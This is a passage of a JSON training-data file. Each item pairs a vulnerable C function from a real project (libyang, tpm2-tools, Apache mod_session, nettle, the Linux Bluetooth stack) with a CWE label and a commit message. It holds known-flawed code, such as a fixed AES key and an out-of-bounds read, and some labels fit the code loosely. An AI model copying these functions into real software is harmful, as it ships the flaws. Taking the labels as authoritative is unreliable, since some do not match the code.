LYE_INCHILDSTMT, LY_VLOG_LYS, retval, \"min-elements\", \"leaf-list\");\n LOGVAL(ctx, LYE_SPEC, LY_VLOG_PREV, NULL,\n \"The \\\"min-elements\\\" statement with non-zero value is forbidden on leaf-lists with the \\\"default\\\" statement.\");\n goto error;\n }\n\n /* check default value (if not defined, there still could be some restrictions\n * that need to be checked against a default value from a derived type) */\n for (r = 0; r < llist->dflt_size; r++) {\n if (!(ctx->models.flags & LY_CTX_TRUSTED) &&\n (unres_schema_add_node(module, unres, &llist->type, UNRES_TYPE_DFLT,\n (struct lys_node *)(&llist->dflt[r])) == -1)) {\n goto error;\n }\n }\n\n /* check XPath dependencies */\n if (!(ctx->models.flags & LY_CTX_TRUSTED) && (llist->when || llist->must)) {\n if (options & LYS_PARSE_OPT_INGRP) {\n if (lyxp_node_check_syntax(retval)) {\n goto error;\n }\n } else {\n if (unres_schema_add_node(module, unres, retval, UNRES_XPATH, NULL) == -1) {\n goto error;\n }\n }\n }\n\n for (r = 0; r < retval->ext_size; ++r) {\n /* set flag, which represent LYEXT_OPT_VALID */\n if (retval->ext[r]->flags & LYEXT_OPT_VALID) {\n retval->flags |= LYS_VALID_EXT;\n break;\n }\n }\n\n return retval;\n\nerror:\n lys_node_free(ctx, retval, NULL, 0);\n return NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-252'], 'message': 'yin parser BUGFIX invalid memory access\n\n... in case there were some unresolved\nextensions.\nFixes #1454\nFixes #1455'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: read_yin_list(struct lys_module *module, struct lys_node *parent, struct lyxml_elem *yin, int options,\n struct unres_schema *unres)\n{\n struct ly_ctx *ctx = module->ctx;\n struct lys_node *retval, *node;\n struct lys_node_list *list;\n struct lyxml_elem *sub, *next, root, uniq;\n int r;\n int c_tpdf = 0, c_must = 0, c_uniq = 0, c_ftrs = 0, c_ext = 0;\n int f_ordr = 0, f_max = 0, f_min = 0;\n const char *value;\n char *auxs;\n unsigned long val;\n void *reallocated;\n\n /* init */\n memset(&root, 0, sizeof root);\n memset(&uniq, 0, sizeof uniq);\n\n list = calloc(1, sizeof *list);\n LY_CHECK_ERR_RETURN(!list, LOGMEM(ctx), NULL);\n\n list->nodetype = LYS_LIST;\n list->prev = (struct lys_node *)list;\n retval = (struct lys_node *)list;\n\n if (read_yin_common(module, parent, retval, LYEXT_PAR_NODE, yin,\n OPT_IDENT | OPT_MODULE | ((options & LYS_PARSE_OPT_CFG_IGNORE) ? OPT_CFG_IGNORE :\n (options & LYS_PARSE_OPT_CFG_NOINHERIT) ? OPT_CFG_PARSE : OPT_CFG_PARSE | OPT_CFG_INHERIT),\n unres)) {\n goto error;\n }\n\n LOGDBG(LY_LDGYIN, \"parsing %s statement \\\"%s\\\"\", yin->name, retval->name);\n\n /* insert the node into the schema tree */\n if (lys_node_addchild(parent, lys_main_module(module), retval, options)) {\n goto error;\n }\n\n /* process list's specific children */\n LY_TREE_FOR_SAFE(yin->child, next, sub) {\n if (strcmp(sub->ns->value, LY_NSYIN)) {\n /* extension */\n YIN_CHECK_ARRAY_OVERFLOW_GOTO(ctx, c_ext, retval->ext_size, \"extensions\", \"list\", error);\n c_ext++;\n continue;\n\n /* data statements */\n } else if (!strcmp(sub->name, \"container\") ||\n !strcmp(sub->name, \"leaf-list\") ||\n !strcmp(sub->name, \"leaf\") ||\n !strcmp(sub->name, \"list\") ||\n !strcmp(sub->name, \"choice\") ||\n !strcmp(sub->name, \"uses\") ||\n !strcmp(sub->name, \"grouping\") ||\n !strcmp(sub->name, \"anyxml\") ||\n !strcmp(sub->name, \"anydata\") ||\n !strcmp(sub->name, \"action\") ||\n !strcmp(sub->name, \"notification\")) {\n lyxml_unlink_elem(ctx, sub, 2);\n lyxml_add_child(ctx, &root, sub);\n\n /* array counters */\n } else if (!strcmp(sub->name, \"key\")) {\n /* check cardinality 0..1 */\n if (list->keys_size) {\n LOGVAL(ctx, LYE_TOOMANY, LY_VLOG_LYS, retval, sub->name, list->name);\n goto error;\n }\n\n /* count the number of keys */\n GETVAL(ctx, value, sub, \"value\");\n list->keys_str = lydict_insert(ctx, value, 0);\n while ((value = strpbrk(value, \" \\t\\n\"))) {\n list->keys_size++;\n while (isspace(*value)) {\n value++;\n }\n }\n list->keys_size++;\n list->keys = calloc(list->keys_size, sizeof *list->keys);\n LY_CHECK_ERR_GOTO(!list->keys, LOGMEM(ctx), error);\n\n if (lyp_yin_parse_subnode_ext(module, retval, LYEXT_PAR_NODE, sub, LYEXT_SUBSTMT_KEY, 0, unres)) {\n goto error;\n }\n lyxml_free(ctx, sub);\n } else if (!strcmp(sub->name, \"unique\")) {\n YIN_CHECK_ARRAY_OVERFLOW_GOTO(ctx, c_uniq, list->unique_size, \"uniques\", \"list\", error);\n c_uniq++;\n lyxml_unlink_elem(ctx, sub, 2);\n lyxml_add_child(ctx, &uniq, sub);\n } else if (!strcmp(sub->name, \"typedef\")) {\n YIN_CHECK_ARRAY_OVERFLOW_GOTO(ctx, c_tpdf, list->tpdf_size, \"typedefs\", \"list\", error);\n c_tpdf++;\n } else if (!strcmp(sub->name, \"must\")) {\n YIN_CHECK_ARRAY_OVERFLOW_GOTO(ctx, c_must, list->must_size, \"musts\", \"list\", error);\n c_must++;\n } else if (!strcmp(sub->name, \"if-feature\")) {\n YIN_CHECK_ARRAY_OVERFLOW_GOTO(ctx, c_ftrs, retval->iffeature_size, \"if-features\", \"list\", error);\n c_ftrs++;\n\n /* optional stetments */\n } else if (!strcmp(sub->name, \"ordered-by\")) {\n if (f_ordr) {\n LOGVAL(ctx, LYE_TOOMANY, LY_VLOG_LYS, retval, sub->name, yin->name);\n goto error;\n }\n /* just checking the flags in llist is not sufficient, we would\n * allow multiple ordered-by statements with the \"system\" value\n */\n f_ordr = 1;\n\n if (list->flags & LYS_CONFIG_R) {\n /* RFC 6020, 7.7.5 - ignore ordering when the list represents\n * state data\n */\n lyxml_free(ctx, sub);\n continue;\n }\n\n GETVAL(ctx, value, sub, \"value\");\n if (!strcmp(value, \"user\")) {\n list->flags |= LYS_USERORDERED;\n } else if (strcmp(value, \"system\")) {\n LOGVAL(ctx, LYE_INARG, LY_VLOG_LYS, retval, value, sub->name);\n goto error;\n } /* else system is the default value, so we can ignore it */\n\n if (lyp_yin_parse_subnode_ext(module, retval, LYEXT_PAR_NODE, sub, LYEXT_SUBSTMT_ORDEREDBY, 0, unres)) {\n goto error;\n }\n lyxml_free(ctx, sub);\n } else if (!strcmp(sub->name, \"min-elements\")) {\n if (f_min) {\n LOGVAL(ctx, LYE_TOOMANY, LY_VLOG_LYS, retval, sub->name, yin->name);\n goto error;\n }\n f_min = 1;\n\n GETVAL(ctx, value, sub, \"value\");\n while (isspace(value[0])) {\n value++;\n }\n\n /* convert it to uint32_t */\n errno = 0;\n auxs = NULL;\n val = strtoul(value, &auxs, 10);\n if (*auxs || value[0] == '-' || errno || val > UINT32_MAX) {\n LOGVAL(ctx, LYE_INARG, LY_VLOG_LYS, retval, value, sub->name);\n goto error;\n }\n list->min = (uint32_t) val;\n if (list->max && (list->min > list->max)) {\n LOGVAL(ctx, LYE_INARG, LY_VLOG_LYS, retval, value, sub->name);\n LOGVAL(ctx, LYE_SPEC, LY_VLOG_PREV, NULL, \"\\\"min-elements\\\" is bigger than \\\"max-elements\\\".\");\n lyxml_free(ctx, sub);\n goto error;\n }\n if (lyp_yin_parse_subnode_ext(module, retval, LYEXT_PAR_NODE, sub, LYEXT_SUBSTMT_MIN, 0, unres)) {\n goto error;\n }\n lyxml_free(ctx, sub);\n } else if (!strcmp(sub->name, \"max-elements\")) {\n if (f_max) {\n LOGVAL(ctx, LYE_TOOMANY, LY_VLOG_LYS, retval, sub->name, yin->name);\n goto error;\n }\n f_max = 1;\n\n GETVAL(ctx, value, sub, \"value\");\n while (isspace(value[0])) {\n value++;\n }\n\n if (!strcmp(value, \"unbounded\")) {\n list->max = 0;;\n } else {\n /* convert it to uint32_t */\n errno = 0;\n auxs = NULL;\n val = strtoul(value, &auxs, 10);\n if (*auxs || value[0] == '-' || errno || val == 0 || val > UINT32_MAX) {\n LOGVAL(ctx, LYE_INARG, LY_VLOG_LYS, retval, value, sub->name);\n goto error;\n }\n list->max = (uint32_t) val;\n if (list->min > list->max) {\n LOGVAL(ctx, LYE_INARG, LY_VLOG_LYS, retval, value, sub->name);\n LOGVAL(ctx, LYE_SPEC, LY_VLOG_PREV, NULL, \"\\\"max-elements\\\" is smaller than \\\"min-elements\\\".\");\n goto error;\n }\n }\n if (lyp_yin_parse_subnode_ext(module, retval, LYEXT_PAR_NODE, sub, LYEXT_SUBSTMT_MAX, 0, unres)) {\n goto error;\n }\n lyxml_free(ctx, sub);\n } else if (!strcmp(sub->name, \"when\")) {\n if (list->when) {\n LOGVAL(ctx, LYE_TOOMANY, LY_VLOG_LYS, retval, sub->name, yin->name);\n goto error;\n }\n\n list->when = read_yin_when(module, sub, unres);\n if (!list->when) {\n lyxml_free(ctx, sub);\n goto error;\n }\n lyxml_free(ctx, sub);\n } else {\n LOGVAL(ctx, LYE_INSTMT, LY_VLOG_LYS, retval, sub->name);\n goto error;\n }\n }\n\n /* check - if list is configuration, key statement is mandatory\n * (but only if we are not in a grouping or augment, then the check is deferred) */\n for (node = retval; node && !(node->nodetype & (LYS_GROUPING | LYS_AUGMENT | LYS_EXT)); node = node->parent);\n if (!node && (list->flags & LYS_CONFIG_W) && !list->keys_str) {\n LOGVAL(ctx, LYE_MISSCHILDSTMT, LY_VLOG_LYS, retval, \"key\", \"list\");\n goto error;\n }\n\n /* middle part - process nodes with cardinality of 0..n except the data nodes */\n if (c_tpdf) {\n list->tpdf = calloc(c_tpdf, sizeof *list->tpdf);\n LY_CHECK_ERR_GOTO(!list->tpdf, LOGMEM(ctx), error);\n }\n if (c_must) {\n list->must = calloc(c_must, sizeof *list->must);\n LY_CHECK_ERR_GOTO(!list->must, LOGMEM(ctx), error);\n }\n if (c_ftrs) {\n list->iffeature = calloc(c_ftrs, sizeof *list->iffeature);\n LY_CHECK_ERR_GOTO(!list->iffeature, LOGMEM(ctx), error);\n }\n if (c_ext) {\n /* some extensions may be already present from the substatements */\n reallocated = realloc(retval->ext, (c_ext + retval->ext_size) * sizeof *retval->ext);\n LY_CHECK_ERR_GOTO(!reallocated, LOGMEM(ctx), error);\n retval->ext = reallocated;\n\n /* init memory */\n memset(&retval->ext[retval->ext_size], 0, c_ext * sizeof *retval->ext);\n }\n\n LY_TREE_FOR_SAFE(yin->child, next, sub) {\n if (strcmp(sub->ns->value, LY_NSYIN)) {\n /* extension */\n r = lyp_yin_fill_ext(retval, LYEXT_PAR_NODE, 0, 0, module, sub, &retval->ext, &retval->ext_size, unres);\n if (r) {\n goto error;\n }\n } else if (!strcmp(sub->name, \"typedef\")) {\n r = fill_yin_typedef(module, retval, sub, &list->tpdf[list->tpdf_size], unres);\n list->tpdf_size++;\n if (r) {\n goto error;\n }\n } else if (!strcmp(sub->name, \"if-feature\")) {\n r = fill_yin_iffeature(retval, 0, sub, &list->iffeature[list->iffeature_size], unres);\n list->iffeature_size++;\n if (r) {\n goto error;\n }\n } else if (!strcmp(sub->name, \"must\")) {\n r = fill_yin_must(module, sub, &list->must[list->must_size], unres);\n list->must_size++;\n if (r) {\n goto error;\n }\n }\n }\n\n lyp_reduce_ext_list(&retval->ext, retval->ext_size, c_ext + retval->ext_size);\n\n /* last part - process data nodes */\n LY_TREE_FOR_SAFE(root.child, next, sub) {\n if (!strcmp(sub->name, \"container\")) {\n node = read_yin_container(module, retval, sub, options, unres);\n } else if (!strcmp(sub->name, \"leaf-list\")) {\n node = read_yin_leaflist(module, retval, sub, options, unres);\n } else if (!strcmp(sub->name, \"leaf\")) {\n node = read_yin_leaf(module, retval, sub, options, unres);\n } else if (!strcmp(sub->name, \"list\")) {\n node = read_yin_list(module, retval, sub, options, unres);\n } else if (!strcmp(sub->name, \"choice\")) {\n node = read_yin_choice(module, retval, sub, options, unres);\n } else if (!strcmp(sub->name, \"uses\")) {\n node = read_yin_uses(module, retval, sub, options, unres);\n } else if (!strcmp(sub->name, \"grouping\")) {\n node = read_yin_grouping(module, retval, sub, options, unres);\n } else if (!strcmp(sub->name, \"anyxml\")) {\n node = read_yin_anydata(module, retval, sub, LYS_ANYXML, options, unres);\n } else if (!strcmp(sub->name, \"anydata\")) {\n node = read_yin_anydata(module, retval, sub, LYS_ANYDATA, options, unres);\n } else if (!strcmp(sub->name, \"action\")) {\n node = read_yin_rpc_action(module, retval, sub, options, unres);\n } else if (!strcmp(sub->name, \"notification\")) {\n node = read_yin_notif(module, retval, sub, options, unres);\n } else {\n LOGINT(ctx);\n goto error;\n }\n if (!node) {\n goto error;\n }\n\n lyxml_free(ctx, sub);\n }\n\n if (list->keys_str) {\n if (unres_schema_add_node(module, unres, list, UNRES_LIST_KEYS, NULL) == -1) {\n goto error;\n }\n } /* else config false list without a key, key_str presence in case of config true is checked earlier */\n\n /* process unique statements */\n if (c_uniq) {\n list->unique = calloc(c_uniq, sizeof *list->unique);\n LY_CHECK_ERR_GOTO(!list->unique, LOGMEM(ctx), error);\n\n LY_TREE_FOR_SAFE(uniq.child, next, sub) {\n r = fill_yin_unique(module, retval, sub, &list->unique[list->unique_size], unres);\n list->unique_size++;\n if (r) {\n goto error;\n }\n\n if (lyp_yin_parse_subnode_ext(module, retval, LYEXT_PAR_NODE, sub,\n LYEXT_SUBSTMT_UNIQUE, list->unique_size - 1, unres)) {\n goto error;\n }\n lyxml_free(ctx, sub);\n }\n }\n\n /* check XPath dependencies */\n if (!(ctx->models.flags & LY_CTX_TRUSTED) && (list->when || list->must)) {\n if (options & LYS_PARSE_OPT_INGRP) {\n if (lyxp_node_check_syntax(retval)) {\n goto error;\n }\n } else {\n if (unres_schema_add_node(module, unres, retval, UNRES_XPATH, NULL) == -1) {\n goto error;\n }\n }\n }\n\n for (r = 0; r < retval->ext_size; ++r) {\n /* set flag, which represent LYEXT_OPT_VALID */\n if (retval->ext[r]->flags & LYEXT_OPT_VALID) {\n retval->flags |= LYS_VALID_EXT;\n if (retval->ext[r]->flags & LYEXT_OPT_VALID_SUBTREE) {\n retval->flags |= LYS_VALID_EXT_SUBTREE;\n break;\n }\n }\n }\n\n return retval;\n\nerror:\n\n lys_node_free(retval, NULL, 0);\n while (root.child) {\n lyxml_free(ctx, root.child);\n }\n while (uniq.child) {\n lyxml_free(ctx, uniq.child);\n }\n\n return NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-617'], 'message': 'schema tree BUGFIX freeing nodes with no module set\n\nContext must be passed explicitly for these cases.\nFixes #1452'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: read_yin_anydata(struct lys_module *module, struct lys_node *parent, struct lyxml_elem *yin, LYS_NODE type,\n int options, struct unres_schema *unres)\n{\n struct ly_ctx *ctx = module->ctx;\n struct lys_node *retval;\n struct lys_node_anydata *anyxml;\n struct lyxml_elem *sub, *next;\n const char *value;\n int r;\n int f_mand = 0;\n int c_must = 0, c_ftrs = 0, c_ext = 0;\n void *reallocated;\n\n anyxml = calloc(1, sizeof *anyxml);\n LY_CHECK_ERR_RETURN(!anyxml, LOGMEM(ctx), NULL);\n\n anyxml->nodetype = type;\n anyxml->prev = (struct lys_node *)anyxml;\n retval = (struct lys_node *)anyxml;\n\n if (read_yin_common(module, parent, retval, LYEXT_PAR_NODE, yin,\n OPT_IDENT | OPT_MODULE | ((options & LYS_PARSE_OPT_CFG_IGNORE) ? OPT_CFG_IGNORE :\n (options & LYS_PARSE_OPT_CFG_NOINHERIT) ? OPT_CFG_PARSE : OPT_CFG_PARSE | OPT_CFG_INHERIT), unres)) {\n goto error;\n }\n\n LOGDBG(LY_LDGYIN, \"parsing %s statement \\\"%s\\\"\", yin->name, retval->name);\n\n /* insert the node into the schema tree */\n if (lys_node_addchild(parent, lys_main_module(module), retval, options)) {\n goto error;\n }\n\n LY_TREE_FOR_SAFE(yin->child, next, sub) {\n if (strcmp(sub->ns->value, LY_NSYIN)) {\n /* extension */\n YIN_CHECK_ARRAY_OVERFLOW_GOTO(ctx, c_ext, retval->ext_size, \"extensions\", \"anydata\", error);\n c_ext++;\n } else if (!strcmp(sub->name, \"mandatory\")) {\n if (f_mand) {\n LOGVAL(ctx, LYE_TOOMANY, LY_VLOG_LYS, retval, sub->name, yin->name);\n goto error;\n }\n /* just checking the flags in leaf is not sufficient, we would allow\n * multiple mandatory statements with the \"false\" value\n */\n f_mand = 1;\n\n GETVAL(ctx, value, sub, \"value\");\n if (!strcmp(value, \"true\")) {\n anyxml->flags |= LYS_MAND_TRUE;\n } else if (!strcmp(value, \"false\")) {\n anyxml->flags |= LYS_MAND_FALSE;\n } else {\n LOGVAL(ctx, LYE_INARG, LY_VLOG_LYS, retval, value, sub->name);\n goto error;\n }\n /* else false is the default value, so we can ignore it */\n\n if (lyp_yin_parse_subnode_ext(module, retval, LYEXT_PAR_NODE, sub, LYEXT_SUBSTMT_MANDATORY, 0, unres)) {\n goto error;\n }\n lyxml_free(ctx, sub);\n } else if (!strcmp(sub->name, \"when\")) {\n if (anyxml->when) {\n LOGVAL(ctx, LYE_TOOMANY, LY_VLOG_LYS, retval, sub->name, yin->name);\n goto error;\n }\n\n anyxml->when = read_yin_when(module, sub, unres);\n if (!anyxml->when) {\n lyxml_free(ctx, sub);\n goto error;\n }\n lyxml_free(ctx, sub);\n } else if (!strcmp(sub->name, \"must\")) {\n YIN_CHECK_ARRAY_OVERFLOW_GOTO(ctx, c_must, anyxml->must_size, \"musts\", \"anydata\", error);\n c_must++;\n } else if (!strcmp(sub->name, \"if-feature\")) {\n YIN_CHECK_ARRAY_OVERFLOW_GOTO(ctx, c_ftrs, retval->iffeature_size, \"if-features\", \"anydata\", error);\n c_ftrs++;\n\n } else {\n LOGVAL(ctx, LYE_INSTMT, LY_VLOG_LYS, retval, sub->name);\n goto error;\n }\n }\n\n /* middle part - process nodes with cardinality of 0..n */\n if (c_must) {\n anyxml->must = calloc(c_must, sizeof *anyxml->must);\n LY_CHECK_ERR_GOTO(!anyxml->must, LOGMEM(ctx), error);\n }\n if (c_ftrs) {\n anyxml->iffeature = calloc(c_ftrs, sizeof *anyxml->iffeature);\n LY_CHECK_ERR_GOTO(!anyxml->iffeature, LOGMEM(ctx), error);\n }\n if (c_ext) {\n /* some extensions may be already present from the substatements */\n reallocated = realloc(retval->ext, (c_ext + retval->ext_size) * sizeof *retval->ext);\n LY_CHECK_ERR_GOTO(!reallocated, LOGMEM(ctx), error);\n retval->ext = reallocated;\n\n /* init memory */\n memset(&retval->ext[retval->ext_size], 0, c_ext * sizeof *retval->ext);\n }\n\n LY_TREE_FOR_SAFE(yin->child, next, sub) {\n if (strcmp(sub->ns->value, LY_NSYIN)) {\n /* extension */\n r = lyp_yin_fill_ext(retval, LYEXT_PAR_NODE, 0, 0, module, sub, &retval->ext, &retval->ext_size, unres);\n if (r) {\n goto error;\n }\n } else if (!strcmp(sub->name, \"must\")) {\n r = fill_yin_must(module, sub, &anyxml->must[anyxml->must_size], unres);\n anyxml->must_size++;\n if (r) {\n goto error;\n }\n } else if (!strcmp(sub->name, \"if-feature\")) {\n r = fill_yin_iffeature(retval, 0, sub, &anyxml->iffeature[anyxml->iffeature_size], unres);\n anyxml->iffeature_size++;\n if (r) {\n goto error;\n }\n }\n }\n\n lyp_reduce_ext_list(&retval->ext, retval->ext_size, c_ext + retval->ext_size);\n\n /* check XPath dependencies */\n if (!(ctx->models.flags & LY_CTX_TRUSTED) && (anyxml->when || anyxml->must)) {\n if (options & LYS_PARSE_OPT_INGRP) {\n if (lyxp_node_check_syntax(retval)) {\n goto error;\n }\n } else {\n if (unres_schema_add_node(module, unres, retval, UNRES_XPATH, NULL) == -1) {\n goto error;\n }\n }\n }\n\n for (r = 0; r < retval->ext_size; ++r) {\n /* set flag, which represent LYEXT_OPT_VALID */\n if (retval->ext[r]->flags & LYEXT_OPT_VALID) {\n retval->flags |= LYS_VALID_EXT;\n break;\n }\n }\n\n return retval;\n\nerror:\n lys_node_free(retval, NULL, 0);\n return NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-617'], 'message': 'schema tree BUGFIX freeing nodes with no module set\n\nContext must be passed explicitly for these cases.\nFixes #1452'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static tool_rc key_import(ESYS_CONTEXT *ectx, TPM2B_PUBLIC *parent_pub,\n TPM2B_SENSITIVE *privkey, TPM2B_PUBLIC *pubkey,\n TPM2B_ENCRYPTED_SECRET *encrypted_seed,\n TPM2B_PRIVATE **imported_private) {\n\n TPMI_ALG_HASH name_alg = pubkey->publicArea.nameAlg;\n\n TPM2B_DIGEST *seed = &privkey->sensitiveArea.seedValue;\n\n /*\n * Create the protection encryption key that gets encrypted with the parents public key.\n */\n TPM2B_DATA enc_sensitive_key = {\n .size = parent_pub->publicArea.parameters.rsaDetail.symmetric.keyBits.sym / 8\n };\n memset(enc_sensitive_key.buffer, 0xFF, enc_sensitive_key.size);\n\n /*\n * Calculate the object name.\n */\n TPM2B_NAME pubname = TPM2B_TYPE_INIT(TPM2B_NAME, name);\n bool res = tpm2_identity_create_name(pubkey, &pubname);\n if (!res) {\n return false;\n }\n\n TPM2B_MAX_BUFFER hmac_key;\n TPM2B_MAX_BUFFER enc_key;\n tpm2_identity_util_calc_outer_integrity_hmac_key_and_dupsensitive_enc_key(\n parent_pub, &pubname, seed, &hmac_key, &enc_key);\n\n TPM2B_MAX_BUFFER encrypted_inner_integrity = TPM2B_EMPTY_INIT;\n tpm2_identity_util_calculate_inner_integrity(name_alg, privkey, &pubname,\n &enc_sensitive_key,\n &parent_pub->publicArea.parameters.rsaDetail.symmetric,\n &encrypted_inner_integrity);\n\n TPM2B_DIGEST outer_hmac = TPM2B_EMPTY_INIT;\n TPM2B_MAX_BUFFER encrypted_duplicate_sensitive = TPM2B_EMPTY_INIT;\n tpm2_identity_util_calculate_outer_integrity(parent_pub->publicArea.nameAlg,\n &pubname, &encrypted_inner_integrity, &hmac_key, &enc_key,\n &parent_pub->publicArea.parameters.rsaDetail.symmetric,\n &encrypted_duplicate_sensitive, &outer_hmac);\n\n TPM2B_PRIVATE private = TPM2B_EMPTY_INIT;\n res = create_import_key_private_data(&private, parent_pub->publicArea.nameAlg,\n &encrypted_duplicate_sensitive, &outer_hmac);\n if (!res) {\n return tool_rc_general_error;\n }\n\n TPMT_SYM_DEF_OBJECT *sym_alg =\n &parent_pub->publicArea.parameters.rsaDetail.symmetric;\n\n if (!ctx.cp_hash_path) {\n return tpm2_import(ectx, &ctx.parent.object, &enc_sensitive_key, pubkey,\n &private, encrypted_seed, sym_alg, imported_private, NULL);\n }\n\n TPM2B_DIGEST cp_hash = { .size = 0 };\n tool_rc rc = tpm2_import(ectx, &ctx.parent.object, &enc_sensitive_key, pubkey,\n &private, encrypted_seed, sym_alg, imported_private, &cp_hash);\n if (rc != tool_rc_success) {\n return rc;\n }\n\n bool result = files_save_digest(&cp_hash, ctx.cp_hash_path);\n if (!result) {\n rc = tool_rc_general_error;\n }\n return rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-798'], 'message': 'tpm2_import: fix fixed AES key CVE-2021-3565\n\ntpm2_import used a fixed AES key for the inner wrapper, which means that\na MITM attack would be able to unwrap the imported key. Even the\nuse of an encrypted session will not prevent this. The TPM only\nencrypts the first parameter which is the fixed symmetric key.\n\nTo fix this, ensure the key size is 16 bytes or bigger and use\nOpenSSL to generate a secure random AES key.\n\nFixes: #2738\n\nSigned-off-by: William Roberts '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static apr_status_t session_identity_decode(request_rec * r, session_rec * z)\n{\n\n char *last = NULL;\n char *encoded, *pair;\n const char *sep = \"&\";\n\n /* sanity check - anything to decode? */\n if (!z->encoded) {\n return OK;\n }\n\n /* decode what we have */\n encoded = apr_pstrdup(r->pool, z->encoded);\n pair = apr_strtok(encoded, sep, &last);\n while (pair && pair[0]) {\n char *plast = NULL;\n const char *psep = \"=\";\n char *key = apr_strtok(pair, psep, &plast);\n char *val = apr_strtok(NULL, psep, &plast);\n if (key && *key) {\n if (!val || !*val) {\n apr_table_unset(z->entries, key);\n }\n else if (!ap_unescape_urlencoded(key) && !ap_unescape_urlencoded(val)) {\n if (!strcmp(SESSION_EXPIRY, key)) {\n z->expiry = (apr_time_t) apr_atoi64(val);\n }\n else {\n apr_table_set(z->entries, key, val);\n }\n }\n }\n pair = apr_strtok(NULL, sep, &last);\n }\n z->encoded = NULL;\n return OK;\n\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'mod_session: save one apr_strtok() in session_identity_decode().\n\nWhen the encoding is invalid (missing '='), no need to parse further.\n\ngit-svn-id: https://svn.apache.org/repos/asf/httpd/httpd/trunk@1887050 13f79535-47bb-0310-9956-ffa450edef68'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: _rsa_sec_compute_root_tr(const struct rsa_public_key *pub,\n\t\t\t const struct rsa_private_key *key,\n\t\t\t void *random_ctx, nettle_random_func *random,\n\t\t\t mp_limb_t *x, const mp_limb_t *m, size_t mn)\n{\n mpz_t mz;\n mpz_t xz;\n int res;\n\n mpz_init(mz);\n mpz_init(xz);\n\n mpn_copyi(mpz_limbs_write(mz, mn), m, mn);\n mpz_limbs_finish(mz, mn);\n\n res = rsa_compute_root_tr(pub, key, random_ctx, random, xz, mz);\n\n if (res)\n mpz_limbs_copy(x, xz, mpz_size(pub->n));\n\n mpz_clear(mz);\n mpz_clear(xz);\n return res;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Change _rsa_sec_compute_root_tr to take a fix input size.\n\nImproves consistency with _rsa_sec_compute_root, and fixes zero-input bug.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void hci_extended_inquiry_result_evt(struct hci_dev *hdev,\n\t\t\t\t\t struct sk_buff *skb)\n{\n\tstruct inquiry_data data;\n\tstruct extended_inquiry_info *info = (void *) (skb->data + 1);\n\tint num_rsp = *((__u8 *) skb->data);\n\tsize_t eir_len;\n\n\tBT_DBG(\"%s num_rsp %d\", hdev->name, num_rsp);\n\n\tif (!num_rsp)\n\t\treturn;\n\n\tif (hci_dev_test_flag(hdev, HCI_PERIODIC_INQ))\n\t\treturn;\n\n\thci_dev_lock(hdev);\n\n\tfor (; num_rsp; num_rsp--, info++) {\n\t\tu32 flags;\n\t\tbool name_known;\n\n\t\tbacpy(&data.bdaddr, &info->bdaddr);\n\t\tdata.pscan_rep_mode\t= info->pscan_rep_mode;\n\t\tdata.pscan_period_mode\t= info->pscan_period_mode;\n\t\tdata.pscan_mode\t\t= 0x00;\n\t\tmemcpy(data.dev_class, info->dev_class, 3);\n\t\tdata.clock_offset\t= info->clock_offset;\n\t\tdata.rssi\t\t= info->rssi;\n\t\tdata.ssp_mode\t\t= 0x01;\n\n\t\tif (hci_dev_test_flag(hdev, HCI_MGMT))\n\t\t\tname_known = eir_get_data(info->data,\n\t\t\t\t\t\t sizeof(info->data),\n\t\t\t\t\t\t EIR_NAME_COMPLETE, NULL);\n\t\telse\n\t\t\tname_known = true;\n\n\t\tflags = hci_inquiry_cache_update(hdev, &data, name_known);\n\n\t\teir_len = eir_get_length(info->data, sizeof(info->data));\n\n\t\tmgmt_device_found(hdev, &info->bdaddr, ACL_LINK, 0x00,\n\t\t\t\t info->dev_class, info->rssi,\n\t\t\t\t flags, info->data, eir_len, NULL, 0);\n\t}\n\n\thci_dev_unlock(hdev);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Bluetooth: Fix slab-out-of-bounds read in hci_extended_inquiry_result_evt()\n\nCheck upon `num_rsp` is insufficient. A malformed event packet with a\nlarge `num_rsp` number makes hci_extended_inquiry_result_evt() go out\nof bounds. Fix it.\n\nThis patch fixes the following syzbot bug:\n\n https://syzkaller.appspot.com/bug?id=4bf11aa05c4ca51ce0df86e500fce486552dc8d2\n\nReported-by: syzbot+d8489a79b781849b9c46@syzkaller.appspotmail.com\nCc: stable@vger.kernel.org\nSigned-off-by: Peilin Ye \nAcked-by: Greg Kroah-Hartman \nSigned-off-by: Marcel Holtmann '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int sctp_wait_for_sndbuf(struct sctp_association 